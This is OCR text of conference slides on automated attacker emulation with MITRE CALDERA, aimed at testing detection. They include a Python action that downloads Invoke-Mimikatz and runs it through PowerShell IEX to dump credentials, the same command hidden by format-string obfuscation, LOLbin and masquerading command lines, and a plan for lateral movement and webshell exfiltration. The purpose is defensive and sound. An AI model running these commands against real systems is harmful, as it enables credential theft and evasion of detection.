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Who dis?

e BSides London newbie

e« Endpoint Threat Detection @ PwC



What’s next?

1.  Why
2. How
3. Cool stuff




Attacker emulation

Attacker Emulation: Do what an attacker would do




Attacker emulation (2)
... but why?

1. Test your own detection capability (with a realistic attack model)
2. Research and test new attacker techniques

3. Showing off (we all want to)



Attacker emulation mode

e Post-compromise

e Manner: Automated vs manual

e Automated saves time, easy to rerun

e Scope: Atomatic vs end-to-end [0]
o Atomic: ‘BAT file’
e Chained

e End-to-end: links actions together, more realistic


https://www.youtube.com/watch?v=mpLfQNLntfg

Attacker emulation mode: a trade-off

High

Ease of use Usefulness

Atomic B Chained End-to-End



HOW STANDARDS PROUFERATE:

(62 AJC CHARGERS, CHARACTER ENCODINGS, IN STRNT MESSAGING, ETC)

SITUATION:

THERE ARE
4 COMPETING
STANDPRDS.

17! RiDIcULoLS!
WE NEED To DEVELOP

ONE UNINERSAL STANDARD
THAT COVERS EVERYONE'S
USE CASES. YERH!

|'Smr'k|7|

SITUATION:

THERE ARE
|5 COMPETING
CTANDERDS.

Source: https://xked.com/927/




Tools

List of open-source ATT&CK™ framework emulation tools

e Red Canary Atomic Red [1]

e Uber Metta [2]

e MITRE CALDERA [3]

e Endgame Red Team Automation [4]
e Guardicore Infection Monkey [5]

e NextronSystem APTSimulator [6]

e RE:TERNAL [7]

. and many more

Blue Team Training Toolkit (BT3) [8]
DumpsterFire [9]

AutoTTP [10]

MITRE/NSA Unfetter [11]

MATE [12]

Praetorian Purple Team Automation [13]


https://github.com/redcanaryco/atomic-red-team
https://github.com/uber-common/metta
https://github.com/mitre/caldera
https://github.com/redcanaryco/atomic-red-team
https://github.com/guardicore/monkey
https://github.com/NextronSystems/APTSimulator
https://github.com/d3vzer0/reternal-quickstart
https://www.encripto.no/en/downloads-2/tools/
https://github.com/TryCatchHCF/DumpsterFire
https://github.com/jymcheong/AutoTTP
https://nsacyber.github.io/unfetter/
https://github.com/fugawi/mate
https://github.com/praetorian-inc/purple-team-attack-automation

Tools (2)

Vendor Product Automated? Dynamic? Supported Platforms
Red Canary Atomic Red X X | | -

im0 &
Uber Metta v X || 5

s 0 @
MITRE CALDERA 2.0 v v IX 1 =

s 0 @
MITRE CALDERA 1.0 v v nl

ol
Endgame Red Team Automation v v ==



Tools (3)
Finding your Eve

e What are you trying to achieve?
e Goal?

e Scope?

e Realistic?

e« Easy to maintain?

e |solated actions are easier to create and update



MITRE CALDERA

e« Open-source research project[14] by MITRE
e Comes with several actions out of the box

e Distinguishing features:
1.  ‘Actions’ written in Python

2. Works with pre and post conditions

3.  Comes with heuristic planner, linking actions together


https://www.mitre.org/research/technology-transfer/open-source-software/caldera

Typical set up

CALDERA




Sample workflow

Persistence
w/ rundll32 :
Copy file

Delete Event
Logs
Stage data

Exfiltration
using git




Sample worktlow (2)

Persistencee

w/ rundli32 3 Exfiltration®
Copy file : :
using git
Delete Eve
Logs

Stage data

2)

PsExec

5

Mimikatz



Typical CALDERA class

e Pre/post conditions
e The action itself

e Clean-up



Typical CALDERA class (2)

e Pre/post conditions

e [f you have admin rights, this can give you credentials
e The action itself
e Run Mimikatz

e Clean-up

e Remove obfuscated Mimikatz, logs



Typical CALDERA class (3)

DumpCreds(Step):
display_name = "dump_creds"
summary = "Run Invoke-Mimikatz to obtain credentials."
attack_mapping = [('T1003', 'Credential Access')]

preconditions = [("rat", OPRat({"elevated": N1
postconditions = [("user_g", OPUser),
("credential_g", OPCredential)]

@staticmethod
action(operation, rat, host, software, file_g, process_g, software g):

MIMIKATZ_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016f(...)67b3/Exfiltration/Invoke-Mimikatz.ps1"
ps_parameters = ['powershell.exe', '-exec', 'bypass', '-C', 'IEX(IWR ); Invoke-Mimikatz -DumpCreds'.format(MIMIKATZ_URL)]

credentials = operation.execute_shell_command(rat, command.CommandlLine(ps_parameters), DumpCreds.parser))

cred credentials:
user_obj = user_g({'username': cred['username'], 'is_group': D)

credential_g({'password': cred['password'], 'found_on_host': rat.host, 'user': user_obj})

@staticmethod
cleanup(cleaner, host):



Challenges

e Selecting your attacker

e Detection (detecting the right thing, bad ‘learning’ mechanisms)

« Realism (techniques, timing, propagation)



Beyond standard CALDERA

Focus on three extensions:
1. LOLbins/LOLbas implementation (T1218, T1216, ...)

2. Common obfuscation techniques (T1140)

3. Masquerading techniques (T1036)



1: LOLDbins



Beyond standard CALDERA:
LOLDbins

e LOLbins: why bring your own tools if you can use pre-
installed ones? \ (V) [

e Various options [195]
e Common: PowerShell, wscript/cscript, mshta

e Other examples: regasm, xwizards, msbuild, pubprn.vbs



https://github.com/LOLBAS-Project/LOLBAS

Beyond standard CALDERA:
LOLbins (2)

e Precondition;: awareness of command to run

e Postcondition: command will have executed




Beyond standard CALDERA:
LOLbins (3)

Example:
e Precondition: the command needs to be run

e Action: use the [FES R CAT LOLbin

e Postcondition: the command successfully
ran

Windows\System32\services.exe

:\
C:\Windows\System32\commander .exe
x

C:\Windows\System32\regasm.exe /u AdobeUpdater.dll
L— £ C:\Windows\temp\evil.exe

L




2: Obfuscation



Beyond standard CALDERA:
Obfuscate ! 114°

e Hide keywords that might trigger rule-based systems

e Various techniques available [16], e.g.

Concatenation B EANEE SNkt il b

Escaping Wil N/NId M

)
.beddecode()
decode

ISl iuEIRglgleldl "{1}{0}"-f"o, world", "Hell"

Base64 encode

e However: can easily be detected by entropy analysis



https://www.x33fcon.com/archive/2018/slides/x33fcon18_DevSecDefense_DanielBohannon.pdf

Beyond standard CALDERA: Obfuscate!14° (2)

Example:

e Precondition: this command needs to run:

powershell.exe /c "IEX (IEW https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/E

xfiltration/Invoke-Mimikatz.ps1);"

e Action:
1.  Obfuscate command line using format string, e.g.

powershell.exe /c "i e x("' {27}{19}{37}{26}{23}{40}{21}{12}{33}{15}{5}{30}{10}{28}{3}{1}{0}{9}{11}{43}{20}{14}{7}{31}{22}{13}{24}

(6}{39}{421{2}{17}{381{36}{4}{181{16} {32}{291{8} {25} {351 {34} {41} """ - F"""Splo""","""ower """, """tion""", """ 1a/P""", " "katz """, " on/
7b3/' "7273" 'LI"TLk 'Lt/4 ""Shel"' "c7a2" ""serc""","" "16d9""" s "1cd3""" ' ntLctt, ! ); B "/In

n lIIwR nn ll, C793 hubu e17b /raw ||5986|| n ll,ll n llatz nn ll,ll n llps:/ll n ll,ll n lIIEX(lI n ll,ll n lI'LMa.Fll n ll,ll n llke_
l|l|C5d8 , Invo llontellllll’lIlIllpCrellllll’lIlIlI_Dumllllll’IIIIIIM_'LITI_'LIIIIII’IIIIIIIhttllllll’lIlIlIoke_llllll’IIIIIIEX.F_'LIIIIII’IIIIII.g_'Ltllllll’lllllld

""e1ef""")"

2. Run command

 Postcondition: the command successfully ran



3: Masquerading



Beyond standard CALDERA:
Masquerade 1036

e Renamed copy of a legitimate utility

e Simple way to bypass rule systems

.

DefinitelyNot svchost.exe
PowerShell.ex
e

SEEMS LEGIT



Beyond standard CALDERA: Masquerade ! 193% (2)

Example:

e Precondition: the command I heeds to be run

e Action:

1. Copy (e} %appdata%/GoogleUpdate. exe
AN SVl GoogleUpdate.exe /e:jscript evil.js

o Postcondition: the command successfully ran

MM C:\Windows\System32\wininit.exe
(3 C:\Windows\System32\services.exe

(3 C:\Windows\System32\svchost.exe
L— £ C:\Windows\Temp\GoogleUpdate.exe /e:jscript evil.js




Plan

o Stage 0: Infect machine (outside scope)
o« Stage 1: Discovery / Lateral Movement
e Stage 2: Execution

o« Stage 3: Persistence

e (Stage 4: Cover Tracks)



Plan (2)

- Run Mimikatz
- Find administrators

- Find other machines

- Move to other machines

- Download webserver
- Set up webshell
- Exfiltrate via webshell

Discovery / Lateral Movement

Persistence Cover tracks

- Create autorun entry for webshell - Clear files, registry keys, etc. created by attack



Putting it together

Demo time!

)

B Adversary Mode | CALDERA x | ”

c o oY B - ww n @ =

fo.} Process Explorer - Sysinternals: www.sysinternals.com [ECORP\elliot]

< https://10.132.0.18:8 adver:

File Options View Process Find Users Help

1 Top Agents Networks Adversaries Run Results d &2 =288 Sl ] l_\ fa w | B ,I | | | ‘ |
Process FID Company Name EBm  Wofldng Set  Description
520 Microsoft Corporation 13.372 K Spooler SubSystem App
884 Microsoft Corporation 8.876 K Host Process for Windows 5.
276 10072K
1180 Windows (R} Win 7 DDK p... 3,480 K Google Volume Shadow Cop...
1232 Microsoft Corporation 8,344 K COM Surmogate
1372 Tanium Inc. 7.556 K Tanium Client
1436 Microsoft Corporation 24,828 K Host Process for Windows 5.
1808 Microsoft Corporation 15,548 K COM Sumogate
1832 Microsoft Corporation 043 86,268 K Host Process for Windows 5.
1516 Microsoft Corporation 6,264 K Host Process for Windows 5.
528 Microsoft Comporation 7.372 K Microsoft Distributed Transa
4508 The MITRE Corporation 37.276 K The CALDERA Agert service
3928 3660 K
more stuff = B| powershell exe 3228 <0.. 124,764 K
W] conhost sxe 4764 3,788 K
|sass exe 448 Microsoft Corporation 38,740 K Local Security Authority Proc...
+ B winlogon exe 376 5452 K
| csrss.ene 2472 0.09 48,528 K
# | winlogon exe 620 5,552 K
Select an operation to view all executed steps. Click on each to view [y SElErESEN | 3276 Microsaft Comarstion 059 159,368 K Windows Explarer
the unfiltered response from the given host. e o L

CPU Usage: 6.33% Commit Charge: 28.14%  Processes: 59 Physical Usage: 37.64%

| Nocument: Futen

BSides.L.ondon.2019 P Cancel e ms=l Temp
Home Share View

: - 1‘| » ThisPC » Local Disk (C:) » Windows » Temp »

m b 30 Favorites
gen_py

I /M This PC | FXSAPIDebuglogFile
|| FXSTIFFDebuglogFile

a
MName Date modified Type 'y

File folder
Text Document
Text Document

2019-05-17 15:00:08 STARTED GOOGLE CLOUD BSIDES LONDON 2019 "ih MNetwork __ fwisgmfile00.sqm SQM File
|| fwtsgmfiled1.sqgm SQM File
|| fwtsgmfiled2.sqm SQM File
| fwtsqmfiled3.sgm SOM File
| fwtsqmfiled4.sqm SOM File
|| fwtsqmfileds.sqm SQM File

Windows Pow




Putting it together (2)

Step Process Goal Artefacts Additional Techniques Relies on
1 Run Mimikatz Format string obfuscation

2 Find other computers Direct to StdIn

3 - Prepare webshell

4 Download webserver ZIP LOLBIn 3

5 Find administrators Direct to StdIn

6 Create persistence

7 Extract / run webserver (BN, CHASS, Masquerading 4

8 Test webshell 4,7

9 Mount network share 1,2,5

10 XCopy .exe Copy RAT 9



Aftermath

e The real challenge starts now

¥ 20190517 14:12:54 \Device\HarddiskVolume1\Windows\System32\wininit.exe [0734Hexecution]-[m]-rundli32_launched_against_remote_machine

L £ \Device\HarddiskVolume1Windows\System32\services.exe




Attacker Emulation going forward

e Community!
e Sharing CALDERA modules (like Metasploit)

e Industry standard



.. and let’s remind ourselves

Attacker Emulation # silver bullet




Key takeaways

1. Attacker emulation helps understand threats and your defences

2. Do attacker emulation the right way:
e Make it random

e Make it real
3. Doesn’t have to be difficult!

4. Community-based sharing



Getting in touch

e Code and slides on github.com/wietze

e @Wietze on Twitter

e Email via wietze.beukema@pwc.com


https://www.github.com/wietze
https://www.twitter.com/wietze
mailto:wietze.beukema@pwc.com

Thank you




